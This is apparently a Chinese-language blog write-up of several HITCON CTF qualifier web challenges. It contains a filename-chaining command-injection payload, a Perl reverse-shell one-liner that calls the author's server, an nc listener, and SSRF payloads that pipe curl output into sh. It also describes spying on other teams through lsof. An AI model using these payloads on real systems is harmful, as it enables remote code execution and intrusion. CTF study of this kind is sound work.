HITCON CTF初賽

我來打醬油的
好像都沒貢獻到啥QQ

來記錄一下Web簡單題的解法
和幾題賽中有碰,但沒解出來的QQ

Baby First Revenge v1

這題和隊友討論很久才搞定QQ
其實一開始我們的方向就是正確的
比賽剛開始就在想,利用>ls之類的寫檔
再用ls>z,把產生的那些檔名塞到另一個檔案
最後串成指令去sh z

但後來發現ls會有順序問題,難搞定
思路就愈走愈偏了QQ


後來我們搞老半天
成功想到可以這樣去爆所有檔案路徑

1
2
>find
* />z

然後發現/home/fl4444g/下有一個README.txt
接著就想辦法去讀它

後來終於構造出tar vcf a /,把整個root打包起來下載(1.4G左右)
打開/home/fl4444g/README.txt看,崩潰
他給你mysql帳號密碼,說flag在裡面

1
2
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

所以基本上就是要拿shell惹QQ


我後來是發現有lsof可以用
可以看其他人在幹啥XDDD
甚至也可以拿到別人的ip hash (( 就是md5('orange'.ip);
這一招真的對我們幫助很大XD

因為我發現很多人卡著shell
就用他們的hash去看目錄下有啥
意外的大家目錄下都有index.html

然後內容都是reverse shell連線command
再看一下目錄下其他檔案
就大概能猜出
他們是用wget載他們server上的index.html
然後sh i*去reverse shell連回去

想通這點,後面就很快了
就只要想辦法構造wget kaibro.tw之類的
這部分會蠻吃域名名稱的
如果域名是abcde.tw之類的會很難構造XD
隊友還因此買了一個x開頭的短域名
然後就秒構造一個payload拿到shell了

我後來認真構造一下
終於能成功執行wget kaibro.tw

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
>echo
>wg\
*>.a
rm w*
>et
>ka\
*>>.a
rm e*
rm k*
>echo
>ibr\
*>>.a
rm i*
>o.t\
*>>.a
rm o*
>w
*>>.a

結尾用\可以把多行指令串起來
*可以把當前目錄下文件名展開當作指令跑

(看起來很簡單,實際上自己踹,會發現很多細節要注意)

執行完上面那坨之後
我們目錄下的.a就會長得像:

1
2
3
4
5
wg\
et ka\
ibr\
o.t\
w



接著在我的server上放index.html:

1
perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

所以只要sh .a
就會執行wget下載reverse shell指令到index.html惹

然後讓server listen一下
nc -vl 5566

再來sh i*就會去run index.html上的指令惹
shell就彈出來了

彈出來之後去連mysql,然後就可以抓出FLAG惹

1
2
3
4
5
6
$ mysql -u fl4444g -p
Enter password: SugZXUtgeJ52_Bvr
use fl4gdb;
select * from this_is_the_fl4g;
exit

hitcon{idea_from_phith0n,thank_you:)}




順便一提,我在這題收集了很多hash
然後在SSRFme那題也可以看別人在幹啥XD
只是都沒看到啥有用的
可能太晚收集了,沒收集到強隊的hash QQ
甚至還有人故意在127.0.0.1的目錄下塞假flag
我一開始還以為是有人讀出flag後忘記刪掉
一整個被騙,花了不少時間去確認

原本還想學他,再塞幾個假flag騙人,報復一下XD
後來想說算惹,就只塞了一個佛祖保佑圖
如果有人在SSRF這題看到,那87%就是我塞的XD


Baby Ruby Escaping

這題搞很久,最後還是沒搞出來
隊上好像也沒人對ruby熟,所以一直放置著

看別人writeup才知道
原來socat連上後,按兩次tab就會顯示檔名…
超低能,都沒發現=.=
然後就可以用ARGV<<"thanks_readline_for_completing_the_name_of_flag"
把檔名塞進argv中
之後直接gets,就會把裡面內容讀出來
(ruby會先去ARGV讀

hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}

ruby is so hard QAQ


Data & mining

這題一開始看很久
後來發現封包裡面有個地方連到xmrpool
推測他應該是在挖礦
跟題目名字和題目敘述也很吻合
告訴隊友後
隊友直接搜xmr就找到flag惹

不過…
後來我才知道直接搜hitcon就能看到flag了=.=
連wireshark都不用開 頗呵
難怪兩小時就30隊解掉,感覺題目沒設計好R
hitcon{BTC_is_so_expensive_$$$$$$$}


SSRFme

這題也是賽中沒解出來
第二天一直在搞這題
整個方向都想偏了
一直以為要像Discuz Pwn一樣打某個服務

看了別人的write up
發現有人用一招很猥瑣的方式拿flag
類似這樣:
curl 'http://13.115.136.15/?url=a&filename=|curl+http://kaibro.tw|sh'
curl 'http://13.115.136.15/?url=file:|curl+http://kaibro.tw|sh'

就是perl的GET看到file會去open本地檔案
然後跟AIS3講的ruby open一樣
可以在後面塞 | 去執行指令 => RCE

但是從source code可以看到,它會先去檢查檔案是否存在
所以必須先建立檔案

例如filename=|ls會去建立|ls這個檔案
然後url=file:|ls就會執行ls惹
可以用|sleep+10之類的來測試一下,會卡個一下,說明有成功執行

接著建立reverse shell,去跑/readflag就能拿flag惹
hitcon{Perl_<3_y0u}

真的沒想到這題能這樣解,覺得奇技淫巧